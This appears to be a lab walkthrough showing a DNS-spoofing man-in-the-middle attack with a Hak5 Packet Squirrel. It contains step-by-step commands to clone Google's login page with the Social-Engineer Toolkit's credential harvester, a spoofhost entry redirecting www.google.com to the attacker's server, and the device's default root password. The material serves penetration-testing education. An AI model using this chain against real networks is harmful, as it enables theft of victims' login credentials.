Hak5 Packet Squirrel: DNS-Spoofing Demo

Summary

This demonstration illustrates a Man-in-the-Middle (MITM) DNS spoofing attack using the Hak5 Packet Squirrel. By intercepting and altering DNS requests, the Packet Squirrel redirects the target device to a malicious, cloned version of www.google.com. When the victim enters their credentials, these are captured by the attacker for potential exploitation.

Key Learning Points:

• The importance of securing DNS communication against spoofing.

• Understanding how tools like the Packet Squirrel and SET can be used for penetration testing.

• Recognizing the need for HTTPS and DNSSEC to protect sensitive user data

Requirements

• Packet Squirrel from Hak5
• target device (Laptop, virtual machine: Ubuntu)
• Network (WLAN-Router)
• Two Ethernet Cable
• One USB Cable to supply Packet Squirrel with power

Setup

• Connect the LAN port of the router to the Ethernet OUT port of the Packet Squirrel
• Connect the target device (laptop) to the Ethernet IN port of the Packet Squirrel

Packet Squirrel Initalization

1. Set the Packet Squirrel to Arming Mode (switch to the far-right position).

2. On the virtual Machine (VM), go to Settings > Network and select Adapter1.

• Set the network adapter to Bridge Mode.
• Choose USB Realtek USB Gbe Family Controller for DHCP to assign an IP automatically.

3. Save the configuration and start the VM.

Verify Connection

1. In the Ubuntu VM, check the IP address assigned to enp0s3 (e.g., 172.16.32.181/24), ensuring it matches the Packet Squirrel subnet (172.16.32.0/24).

2. Test communication by pinging the Packet Squirrel’s default gateway (172.16.32.1).

3. Establish an SSH connection to the Packet Squirrel:

 ssh root@172.16.32.1
 Password: hak5squirrel

Step 1: Web Server Setup

The web server hosts the cloned website that the target will be redirected to.

1. Configure the VM to be in the same subnet as the router:

• Shutdown the VM.

• In Settings > Network, set Adapter 2 to Bridge Mode and choose Intel Wi-Fi 6E AX211 160MHz for DHCP.

• Restart the VM and verify the IP address assigned to enp0s8 (e.g., 192.168.1.26).

2. Install and set up the Social-Engineer Toolkit (SET):

 sudo apt update
 sudo apt install git python3 python3-pip build- 
 essential
 git clone https://github.com/trustedsec/social- 
 engineer-toolkit.git
 cd social-engineer-toolkit
 sudo python3 setup.py
 sudo setoolkit

3. Configure SET to clone a website:

• Select the following options in SET:

  1. Social Engineering Attacks

  2. Website Attack Vectors

  3. Credential Harvester Attack Method

  4. Web Templates

• Enter the POST back IP address (192.168.1.26).

• Choose Google as the website to clone.

Step 2: Configure DNS Spoofing on Packet Squirrel

1. Navigate to the payload directory for switch 2:

cd payloads/switch2
nano spoofhost

2. Modify the spoofhost file to include the following entry:

www.google.com 192.168.1.26

This redirects requests to www.google.com to the cloned website hosted on the web server (IP: 192.168.1.26).

3. Save the changes and exit.

4. Power off the Packet Squirrel by unplugging the USB cable.

5. Set the switch to Payload 2 and reconnect the power.

Step 3: Execute the Attack

1. On the target device, open a browser (e.g., Firefox) and navigate to www.google.com.

2. The browser will redirect to the cloned website hosted on the web server.

3. Enter login credentials on the cloned site.

4. The attacker can now view the captured credentials in the SET interface.

Used Hardware

Packet Squirrel + Field Guide

References

• https://docs.hak5.org/packet-squirrel/
• https://docs.hak5.org/cloud-c2/
• https://docs.hak5.org/packet-squirrel/payload-development/ducky-script-for-packet-squirrel
• https://downloads.hak5.org/
• https://github.com/hak5/packetsquirrel-payloads/tree/master/payloads